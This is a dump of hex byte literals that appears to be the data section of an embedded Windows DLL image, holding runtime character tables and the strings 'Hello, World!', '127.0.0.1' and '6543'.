0x00, 0x01, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x20, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x02, 0x20, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x70, 0x48, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd8, 0xd2, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xd8, 0xd2, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd8, 0xd2, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xd8, 0xd2, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xd8, 0xd2, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x30, 0xd8, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf0, 0x4a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x70, 0x4c, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x40, 0x3b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x70, 0xd1, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xe0, 0xd2, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, + 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, + 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x62, + 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, + 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, + 0x47, 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, + 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, + 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, + 0x10, 0x10, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x62, 0x63, + 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, + 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, + 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, + 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, 0x04, 0x08, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa4, 0x03, 0x00, 0x00, 0x60, 0x82, 0x79, 0x82, 0x21, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xa6, 0xdf, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa1, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x9f, 0xe0, 0xfc, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x7e, 0x80, 0xfc, 0x00, 0x00, 0x00, 0x00, + 0xa8, 0x03, 0x00, 0x00, 0xc1, 0xa3, 0xda, 0xa3, 0x20, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0xfe, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0xfe, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb5, 0x03, 0x00, 0x00, 0xc1, 0xa3, 0xda, 0xa3, 0x20, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0xfe, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x41, 0xfe, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb6, 0x03, 0x00, 0x00, 0xcf, 0xa2, 0xe4, 0xa2, 0x1a, 0x00, 0xe5, 0xa2, + 0xe8, 0xa2, 0x5b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0xfe, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x7e, 0xa1, 0xfe, 0x00, 0x00, 0x00, 0x00, + 0x51, 0x05, 0x00, 0x00, 0x51, 0xda, 0x5e, 0xda, 0x20, 0x00, 0x5f, 0xda, + 0x6a, 0xda, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0xd3, 0xd8, 0xde, + 0xe0, 0xf9, 0x00, 0x00, 0x31, 0x7e, 0x81, 0xfe, 0x00, 0x00, 0x00, 0x00, + 0xfe, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xc8, 0xd8, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xd4, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xd4, 0xec, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xd4, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xd4, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xd4, 0xec, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xd4, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xd4, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xd4, 0xec, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xd4, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0xcc, 0xd8, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xd8, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xd8, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xd8, 0xec, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xd8, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0xd8, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xd8, 0xec, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0xd8, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x2e, 0x00, 0x00, 0x00, 0x2e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, + 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, + 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, + 0x01, 0x01, 0x01, 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, + 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x03, 0x03, 0x03, 0x03, + 0x03, 0x03, 0x03, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xfe, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x75, 0x98, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x2c, 0x20, 0x57, 0x6f, 0x72, 0x6c, 0x64, + 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x32, 0x37, 0x2e, + 0x30, 0x2e, 0x30, 0x2e, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x36, 0x35, 0x34, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 